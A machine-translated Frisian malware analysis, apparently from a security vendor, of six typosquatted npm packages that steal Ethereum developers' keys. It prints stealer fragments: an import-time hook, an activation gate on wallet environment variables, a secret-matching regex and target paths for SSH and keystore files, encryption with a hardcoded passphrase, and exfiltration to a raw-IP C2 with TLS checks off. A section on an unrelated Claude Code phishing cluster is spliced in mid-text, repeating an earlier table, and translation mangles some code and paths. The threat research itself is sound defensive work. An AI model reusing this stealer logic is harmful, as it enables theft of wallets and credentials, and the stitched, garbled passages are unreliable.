EVMDeFi npm Typosquatting-oanfal stielt ûntwikkeldersleutels

EVM/DeFi npm Typosquatting-oanfal stielt ûntwikkeldersleutels

TL; DR

Op 6 maaie 2026, in inkele npm-útjouwer, namikazesarada010206, hat seis kweade pakketten publisearre dy't rjochte binne op it Ethereum-, Solidity- en DeFi-ûntwikkeldersekosysteem.

De pakketten, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, en web3-utils-core, brûkte plausibele nammen dy't ûntwurpen wiene om te lykjen op helperbibleteken foar populêre Web3-ark.

Alle seis pakketten befette itselde telemetry.js bestân. It bestân wie byte-identyk yn it hiele kluster, mei SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

De malware wurdt net útfierd by ynstallaasje. Der is gjin preinstall or postinstall heak. Ynstee dêrfan wurdt it aktivearre as it pakket ymportearre wurdt fia require().

Dat detail is wichtich.

It ymplantaat wachtet oant in ûntwikkelder it pakket eins brûkt. Dan kontrolearret it oft it wurkstasjon derút sjocht as in echte Ethereum / Solidity-ûntwikkelingsomjouwing. It siket nei Alchemy- of Infura-kaaien, priveekaaien, mnemonika, deployer-kaaien, of in lokale Foundry-map.

As de host oerienkomt, sammelet de stealer SSH-priveekaaien, Foundry / Geth / Brownie-walletkaaiopslachplakken, .env* bestannen en gefoelige omjouwingsfariabelen. It fersiferet de bondel mei AES-256-GCM mei in hurd kodearre wachtwurd en eksfiltrearret it nei in rau IPv4 C2-eindpunt mei TLS-ferifikaasje útskeakele.

It Malware Early Warning (MEW)-systeem fan Xygeni befêstige alle seis pakketten as kwea-aardich. De npm-register takedown-rapportbundel is yn behanneling.

De Kluster: Seis Pakketten, Ien Utjouwer

It akkount fan 'e útjouwer namikazesarada010206 wie keppele oan it net-ferifiearre Gmail-adres namikazesarada010206@gmail.com.

De kampanje ferskynde as in ien-dei publikaasje-eksploazje op 6 maaie 2026. Alle seis pakketten waarden fersjoen as 1.0.0, hie nul runtime-ôfhinklikheden, en ferstjoerde mar trije bestannen:

package.json index.js telemetry.js

Se ferklearren ek deselde boarne-repository:

https://github.com/harunosakura030303-maker/evmchain-config

De earste trije pakketten waarden by de earste publikaasje troch MEW-scanners fongen. De oerbleaune trije waarden twongen markearre nei analystbeoardieling fan it npm-profyl fan 'e útjouwer. Ienris itselde byte-identike telemetry.js waard befêstige yn it hiele kluster, waarden se sletten as kwea-aardich troch konsistinsje.

Pakket Ferzje npm Publisearre MEW-kaartsje útspraak
viem-kearn 1.0.0 2026-05-06 01:38:44Z #51049 mislike
viem-utils-kearn 1.0.0 2026-05-06 #51050 mislike
hardhat-core-utils 1.0.0 2026-05-06 #51051 mislike
evm-utils 1.0.0 2026-05-06 #51069 Kwea-aardich, troch konsekwinsje
gieterij-utils 1.0.0 2026-05-06 #51071 Kwea-aardich, troch konsekwinsje
web3-utils-kearn 1.0.0 2026-05-06 #51070 Kwea-aardich, troch konsekwinsje

De nammestrategy is ienfâldich mar effektyf.

Dizze pakketten imitearje gjin krekte upstream-nammen. Ynstee dêrfan brûke se plausibele "utility"-suffiksen lykas -core, -utils, en -utils-coreDat makket dat se lykje op begeliedende bibleteken dy't in ûntwikkelder miskien ferwachtet te sjen tichtby Web3-ark.

Kwea-aardich pakket Legitiem doelwyt
viem-kearn viem, in populêre Ethereum TypeScript-kliïnt
viem-utils-kearn viem
hardhat-core-utils hardhat, in mainstream Solidity-ûntwikkelingsomjouwing
evm-utils Generike EVM-arknammeromte
gieterij-utils jitterij, in Solidity-arkketen
web3-utils-kearn web3-utils, Web3.js-helpers

Dit is it patroan fan it "oanfoljende pakket": net "Ik bin it echte pakket", mar "Ik sjoch derút as in ridlike helper om it echte pakket hinne."

Foar DeFi-ûntwikkelders dy't fluch bewege, is dat genôch om risiko te meitsjen.

Wat bart der as it pakket ymportearre wurdt

De oanfalsketen is lyts, bewust en rjochte op krypto-ûntwikkelingsomjouwings.

Der is gjin ynstallaasjehaak. Ynstee dêrfan befettet elk pakket in index.js dy't stub-funksjonaliteit eksportearret en dan de kwea-aardige telemetriemodule laadt.

require('./telemetry').init();

Dit betsjut dat de malware by de earste ymport aktivearre wurdt.

Dat is operasjoneel nuttich foar de oanfaller. In protte scanners en sandboxes rjochtsje har op gedrach tidens ynstallaasje. Dit pakket wachtet oant it eins brûkt wurdt troch in ûntwikkelder, buildskript, testsuite of runtimepad.

Aktivaasjepoarte: Allinnich aktivearje op echte Web3-ûntwikkelderswurkstasjons

It wichtichste ûnderdiel fan it ymplantaat is de aktivearringspoarte.

De malware kontrolearret op omjouwingsfariabelen dy't faak fûn wurde op Ethereum / Solidity-ûntwikkeldersmasines:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

It kontrolearret ek oft Foundry ynstalleare liket te wêzen:

fs.existsSync(path.join(os.homedir(), '.foundry'))

As gjin fan beide betingsten wier is, jout de funksje werom en docht neat.

Dat makket it pakket stiller yn generike analyse-omjouwings. In sandbox sûnder Foundry, Alchemy-kaaien, Infura-kaaien, priveekaaien of mnemonika kin in harmless-útsjende ymport sjen.

Op in oerienkommende host wachtet de malware 60 oant 90 sekonden foardat it sammele wurdt:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

De fertraging ferminderet de dúdlike korrelaasje tusken ymport en eksfiltraasje. .unref() call lit it hostproses ek normaal ôfslute as it pakket ymportearre is yn in koartlibbend skript.

Dit is gjin lawaaierich smash-and-grab-gedrach. It is in rjochte stealer ûntworpen om te foarkommen dat it útfierd wurdt, útsein as de ûntwikkeldersomjouwing it wurdich is om út te stellen.

Wat de stellerij sammelet

Sadree't de aktivearringspoarte foarby is, sammelet de malware út boarnen dy't it wichtichst binne yn Web3-ûntwikkeling: privee kaaien, wallet-kaaiopslachplakken, ynsetgegevens, wolkgeheimen, npm-tokens en lokale projektkonfiguraasje.

Boarne Wat wurdt sammele
proses.omjouwing Elke fariabele dy't oerienkomt mei /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Bestannen mei PRIVATE KEY of BEGIN OPENSSH, ynklusyf de folsleine ynhâld fan it bestân
~/.foundry/kaaiwinkels/* Foundry wallet kaaiopslachbestannen
~/.ethereum/kaaiwinkel/* Geth wallet kaaiopslachbestannen
~/.brownie/akkounts/* Brownie wallet kaaien opslachbestannen
${cwd}/.omjouwing Folsleine bestânsynhâld
${cwd}/.omjouwing.lokaal Folsleine bestânsynhâld
${cwd}/.env.produksje Folsleine bestânsynhâld
${cwd}/.env.ûntwikkeling Folsleine bestânsynhâld
os.hostnamme() Hostmetadata
krypto.randomUUID() Slachtoffer-/sesje-identifikator
Date.now() Kolleksjetiidstempel
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

De ATTA-tokens binne:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

Wy hawwe net befêstigje kinnen oft de telemetrie de eigen analyses fan 'e operator wiene of in apart monetarisearre kanaal. De ATTA-tokens binne itselde yn beide foarbylden dy't wy ûndersocht hawwe.

Kluster B: heibai

claude.hk OAuth Phishing + ANTHROPIC_BASE_URL Hijack

De stekproef fan 1 april is de rûgere, eardere tûke fan 'e kampanje.

heibai:2.1.88-claude.hk-4 waard publisearre troch wuguoqiangvip28, in akkount oanmakke op 7 juny 2025. It pakket hat himsels eksplisyt fersjoen tsjin de legitime 2.1.88 Antropyske útjefte.

It makket him gjin soargen oer CA-cert MITM. Ynstee dêrfan liicht it tsjin de brûker oer it OAuth-eindpunt.

De kweade tafoegings boppe-op de lekte Claude Code-boarne omfetsje:

Boarne Wat wurdt sammele
proses.omjouwing Elke fariabele dy't oerienkomt mei /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Bestannen mei PRIVATE KEY of BEGIN OPENSSH, ynklusyf de folsleine ynhâld fan it bestân
~/.foundry/kaaiwinkels/* Foundry wallet kaaiopslachbestannen
~/.ethereum/kaaiwinkel/* Geth wallet kaaiopslachbestannen
~/.brownie/akkounts/* Brownie wallet kaaien opslachbestannen
${cwd}/.omjouwing Folsleine bestânsynhâld
${cwd}/.omjouwing.lokaal Folsleine bestânsynhâld
${cwd}/.env.produksje Folsleine bestânsynhâld
${cwd}/.env.ûntwikkeling Folsleine bestânsynhâld
os.hostnamme() Hostmetadata
krypto.randomUUID() Slachtoffer-/sesje-identifikator
Date.now() Kolleksjetiidstempel

De doellist is tige spesifyk. Dit is gjin generike browserdiefstal of brede ynloggegevensskrabjen. It is rjochte op ûntwikkelders dy't Ethereum-applikaasjes bouwe, testen, ynsette of operearje.

It opnimmen fan Foundry-, Geth- en Brownie-kaaiwinkels is foaral wichtich. Dizze bestannen kinne direkte tagong ta wallets of ynset-identiteiten fertsjintwurdigje. As de oanfaller se kin keppele oan wachtwurden, mnemonika of omjouwingsgeheimen, kinne se miskien fûnsen ferpleatse, ynseters imitearje of tûke kontraktoperaasjes kompromittearje.

Fersifering foar eksfiltraasje

De malware fersiferet de sammele gegevens foardat se ferstjoerd wurde.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

De hurdkodearre wachtwurdfrase is:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

De definitive lading wurdt ynpakt as JSON:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Fersifering makket de malware op himsels net avansearre. It makket netwurkynspeksje lykwols dreger. In ferdigener dy't útgong besjocht, soe in JSON-lading sjen, mar net de stellen kaaien, wallet-bestannen, of .env ynhâld sûnder de hurdkodearre wachtwurdfrase en ûntsiferingslogika.

Eksfiltraasje nei in Raw IPv4 C2

It útfiltraasjepad is hurd kodearre:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

De malware stjoert gegevens nei:

https://76.13.37.80:8443/api/v1/telemetry

Twa details falle op.

Earst is de C2 in rûch IPv4-adres ynstee fan in domein. Dat nimt de needsaak foar domeinregistraasje fuort en foarkomt guon domein-basearre deteksjes.

Twadde, TLS-ferifikaasje is útskeakele mei:

rejectUnauthorized: false

Dat lit de malware elk sertifikaat akseptearje, ynklusyf selsûndertekene sertifikaten. Mei oare wurden, de oanfaller krijt fersifere ferfier sûnder in jildich iepenbier sertifikaat nedich te hawwen.

Der is gjin opnij besykje logika en gjin fallback host. Flaters wurde stil opslokt. Dit hâldt it pakket stil as de C2 offline of net berikber is.

Wêrom dizze kampanje telt

De measte kweade npm-pakketten rjochte op ûntwikkelders jage brede ynloggegevens efter: npm-tokens, AWS-kaaien, GitHub-tokens, of .npmrc triemmen.

Dizze kampanje ferfine it doel.

It siket nei tekens dat de masine heart ta in Ethereum- of Solidity-ûntwikkelder. Dan lûkt it krekt de aktiva dy't wichtich binne yn dy omjouwing: wallet-kaaiopslach, priveekaaien, mnemonika, deployerkaaien, .env bestannen en SSH-kaaien.

Dat makket de kampanje gefaarliker foar Web3-teams as in generike npm-diever.

In suksesfolle ynfeksje koe bleatstelle:

  • Ynset wallets
  • Slimme kontraktbeheardersleutels
  • RPC-providerkaaien
  • Ynloggegevens foar ynset yn 'e wolk
  • npm-publikaasjetokens
  • SSH-tagong ta ûntwikkelder of bouwynfrastruktuer
  • Projektgeheimen opslein yn .env bestannen
  • Wallet-kaaiwinkels foar Foundry, Geth, of Brownie

De pakketnammen litte ek dúdlike sosjale technyk sjen. Se rjochtsje har op it Web3-ûntwikkeldersekosysteem fia bekende arknammen: viem, hardhat, foundry, evm, en web3.

De akteur hoecht gjin kompromissen te sluten oer de echte projekten. Se hawwe allinich in ûntwikkelder nedich om wat liket op in ridlik begeliedend pakket te ynstallearjen.

Yndikatoaren fan kompromis en deteksje

Pakketten en útjouwer
Fjild Wearde
npm-útjouwer namikazesarada010206
E-postadres fan 'e útjouwer namikazesarada010206@gmail.com
e-post ferifiearre Nee
SCM ferifiearje Nee
Reputaasjeskoare 1.0
Packages viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core
versions Alle 1.0.0
Boarnebewarplak https://github.com/harunosakura030303-maker/evmchain-config
Befêstige kwea-aardich Alle seis pakketten
netwurk
Type Wearde
C2-einpunt https://76.13.37.80:8443/api/v1/telemetry
C2 IP 76.13.37.80
C2-poarte 8443/tkp
TLS-gedrach ôfwizeNet autorisearre: falsk
Skema foar lading {"v":2,"iv": "d": "t": }
Bestannen en Hashes
Type Wearde
telemetrie.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Pakketyndieling pakket.json, yndeks.js, telemetrie.js
File count 3
Ungefeare totale grutte 3.4 KB

Aktivaasjesignalen

De malware kontrolearret op dizze omjouwingsfariabelen:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

It kontrolearret ek op:

~/.foundry/

Rjochte hostpaden

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Kolleksje Regex

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Deteksjenotysjes

In oantal regels fange dizze kampanje sûnder dat in folsleine gedrachsanalyse nedich is.

Earst, scan lockfiles foar de seis kweade pakketnammen:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

Elke wedstriid yn package-lock.json, yarn.lock, pnpm-lock.yaml, of node_modules skiednis moat behannele wurde as in serieus ynsidint.

Twad, kontrolearje op Node.js-prosessen dy't paden foar wallet-kaaien lêze:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

Dit is selden legitime gedrach foar in pakket dat ymportearre is as in helperôfhinklikens. It is foaral fertocht as it folge wurdt troch útgeande netwurkaktiviteit.

Tredde, blokkearje of warskôgje foar HTTPS-ferbiningen nei:

76.13.37.80:8443

Benammen as it oanfraachpaad is:

/api/v1/telemetry

Fjirde, sykje nei npm-pakketten dy't dizze eigenskippen kombinearje:

  • Nije of lege reputaasje útjouwer
  • Net-ferifiearre Gmail-akkount
  • Web3-oanbuorjende pakketnamme
  • Gjin betsjuttingsfolle repositoryhistoarje
  • Lytse pakketlayout
  • index.js dat in telemetrie- of helperbestân laadt
  • Gjin runtime-ôfhinklikheden
  • Kolleksje fan gefoelige omjouwingsfariabelen
  • Tagong ta de kaaien foar de slûf

Dit patroan is nuttiger as ien IOC, om't it folgjende pakket it IP-adres kin feroarje, mar deselde targetinglogika behâldt.

Kontrôlelist foar kompromisreaksjes

As in ûntwikkelder ien fan 'e seis pakketten brûkt hat en harren omjouwing oerienkomt mei de aktivearringspoarte, behannelje it wurkstasjon dan as kompromittearre.

Dat omfettet masines mei Foundry ynstalleare, Alchemy- of Infura-kaaien yn 'e omjouwing, priveekaaien, mnemonika, of deployer-kaaien.

Oanrikkemandearre antwurd:

  • Ferbine de host mei it netwurk.
  • Behâlde node_modules, lockfiles, shell-skiednis en relevante logs foar forensysk ûndersyk.
  • Rotearje elk SSH-kaaipear ûnder ~/.ssh/.
  • Rotearje wallet-kaaien foar elke kaaiopslach hjirûnder ~/.foundry, ~/.ethereum, en ~/.brownie.
  • Ferpleats jild nei nije wallets.
  • Rotearje elk geheim dat opslein is yn .env* bestannen yn repositories wêryn de ûntwikkelder wurke hat.
  • Rotearje omjouwingsgeheimen dy't oerienkomme mei de kolleksje-regex, ynklusyf AWS-kaaien, npm-tokens, deploy-tokens, API-kaaien, priveekaaien, siedden en mnemonika.
  • Kontrolearje cloud-, npm-, GitHub-, RPC-provider- en blockchain-aktiviteit sûnt it pakket foar it earst ynstalleare is.
  • Meitsje in nij byld fan it wurkstasjon foardat jo it opnij brûke.

Wat ferdigeners meinimme moatte

Dizze kampanje lit sjen hoe't npm typosquatting evoluearret om ekosystemen fan ûntwikkelders mei hege wearde.

De akteur hie gjin oanhâldendheid nedich. Se hiene gjin fertsjustering nedich. Se hiene sels gjin útfiering nedich tidens ynstallaasje.

Ynstee dêrfan fertrouden se op trije dingen:

  • Plausibele Web3-pakketnammen
  • Aktivaasje allinich op echte krypto-ûntwikkelingsmasines
  • Direkte diefstal fan 'e bestannen en geheimen dy't it wichtichst binne foar Ethereum-ûntwikkelders

Dat makket de kampanje maklik te missen yn breed skennen en gefaarlik as er yn 'e juste omjouwing telâne komt.

Foar Web3-teams is de les dúdlik: behannelje ôfhinklikheidsnammen as ûnderdiel fan jo bedrigingsmodel. In pakket dat derút sjocht as in ûnskealike helper kin noch altyd it koartste paad nei in kompromis mei de wallet wurde.

Rapportearre oan it npm-register. Wy sille dizze post bywurkje as it útjouwersakkount en de pakketten fuorthelle binne.

sca-tools-software-komposysje-analyse-ark
Prioritearje, ferhelpe en befeiligje jo softwarerisiko's
Krij jo fergese akkount.
Gjin kredytkaart nedich.

Befeiligje jo softwareûntwikkeling en levering

mei Xygeni Produkt Suite